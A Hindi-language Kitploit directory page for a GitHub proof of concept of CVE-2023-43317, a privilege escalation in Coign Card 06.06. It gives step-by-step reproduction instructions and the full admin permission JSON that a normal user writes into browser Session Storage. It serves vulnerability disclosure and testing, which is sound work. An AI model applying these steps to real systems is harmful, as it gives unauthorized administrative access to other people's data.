Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-43317 — अमजद अली द्वारा सत्र भंडारण के माध्यम से ऊर्ध्वाधर विशेषाधिकार वृद्धि (CVE-2023-43317) | Kitploit
उपकरण/GitHubGitHub/amjadali-110/cve-2023-43317
प्रमाणीकरण और प्राधिकरणविशेषाधिकार वृद्धिभेद्यता विश्लेषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubamjadali-110/cve-2023-43317

CVE-2023-43317

अमजद अली द्वारा सत्र भंडारण के माध्यम से ऊर्ध्वाधर विशेषाधिकार वृद्धि (CVE-2023-43317)

रिपॉजिटरी देखें
32 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-43317

एक सामान्य उपयोगकर्ता Session Storage घटक में userPermissionsLIst पैरामीटर के माध्यम से अपने विशेषाधिकारों को बढ़ा सकता है। प्रशासनिक-स्तर के संसाधनों और सुविधाओं तक अनधिकृत पहुँच प्राप्त करने के लिए। इससे अनधिकृत डेटा एक्सेस, डेटा संशोधन, और अन्य क्रियाएँ हो सकती हैं जो आम तौर पर व्यवस्थापकों तक सीमित होती हैं।

  • असुरक्षित उत्पाद:- Coign Card
  • असुरक्षित संस्करण:- 06.06
  • संदर्भ:- https://nvd.nist.gov/vuln/detail/CVE-2023-43317

पुनरुत्पादन के चरण

  1. सामान्य उपयोगकर्ता खाते से लॉग इन करें।
  2. वेब पेज पर राइट-क्लिक करें और डेवलपर टूल खोलने के लिए “इंस्पेक्ट एलिमेंट” चुनें।
  3. डेवलपर टूल में, “एप्लिकेशन” टैब पर जाएँ।
  4. “Session Storage” अनुभाग का विस्तार करें।
  5. Session Storage में, आप “userPermissionsList” ऑब्जेक्ट देख सकते हैं, जिसमें उपयोगकर्ता अनुमतियों की एक JSON सरणी होती है। सामान्य उपयोगकर्ता के लिए प्रारंभिक अनुमतियाँ इस प्रकार दिखती हैं:
root@kitploit:~
[{"permissionId":1,"permissionName":"CanGetApplicants"},{"permissionId":5,"permissionName":"CanGetUsers"},{"permissionId":8,"permissionName":"CanGetApplications"},{"permissionId":9,"permissionName":"CanResendEmails"},{"permissionId":18,"permissionName":"CanGetCustomers"},{"permissionId":22,"permissionName":"CanGetUserActivity"}]
  1. एडमिन-स्तरीय पहुँच प्राप्त करने के लिए Session Storage में अनुमतियों को संशोधित करें:
root@kitploit:~
[{"permissionId":1,"permissionName":"CanGetApplicants"},{"permissionId":2,"permissionName":"CanCreateApplicants"},{"permissionId":3,"permissionName":"CanUpdateApplicants"},{"permissionId":4,"permissionName":"CanManageAccounts"},{"permissionId":5,"permissionName":"CanGetUsers"},{"permissionId":6,"permissionName":"CanCreateUsers"},{"permissionId":7,"permissionName":"CanUpdateUsers"},{"permissionId":8,"permissionName":"CanGetApplications"},{"permissionId":9,"permissionName":"CanResendEmails"},{"permissionId":10,"permissionName":"CanGetDocuments"},{"permissionId":11,"permissionName":"CanUploadDocuments"},{"permissionId":12,"permissionName":"CanCreateIndividualInvitations"},{"permissionId":14,"permissionName":"CanQueryIndividualInvitations"},{"permissionId":15,"permissionName":"CanGetBulkInvitations"},{"permissionId":16,"permissionName":"CanUploadBulkInvitationsFile"},{"permissionId":17,"permissionName":"CanUpdateFormStatus"},{"permissionId":18,"permissionName":"CanGetCustomers"},{"permissionId":19,"permissionName":"CanResendInvitations"},{"permissionId":20,"permissionName":"CanResendEvaluations"},{"permissionId":21,"permissionName":"CanResendManualReviews"},{"permissionId":22,"permissionName":"CanGetUserActivity"},{"permissionId":23,"permissionName":"CanGetDeliveredDocuments"},{"permissionId":24,"permissionName":"CanGetBillingTables"},{"permissionId":25,"permissionName":"CanGetBillingTableHistoricalRecords"},{"permissionId":26,"permissionName":"CanGetBillingTableDraftUpdateRecords"},{"permissionId":27,"permissionName":"CanGetFeedBacks"},{"permissionId":28,"permissionName":"CanUpdateBillingTables"},{"permissionId":29,"permissionName":"CanUpdateUserEmail"},{"permissionId":30,"permissionName":"CanGetTemplates"},{"permissionId":31,"permissionName":"CanResendApplicationEmail"},{"permissionId":32,"permissionName":"CanDeleteUpcomingUpdates"},{"permissionId":33,"permissionName":"CanCreatePolls"},{"permissionId":34,"permissionName":"CanGetPolls"},{"permissionId":35,"permissionName":"CanUpdatePolls"},{"permissionId":36,"permissionName":"CanNotifyIndividualinvitations"},{"permissionId":37,"permissionName":"CanSendInvitationEmail"}]
  1. अनुमतियों को संशोधित करने के बाद, पेज को रीफ्रेश करें।
  2. आपको प्रशासनिक-स्तर के संसाधनों और सुविधाओं तक अनधिकृत पहुँच प्राप्त होगी।

राइट-अप

https://amjadali110.medium.com/a-easy-vertical-privilege-escalation-via-session-storage-cfa9f558c94

टूल डाउनलोड करें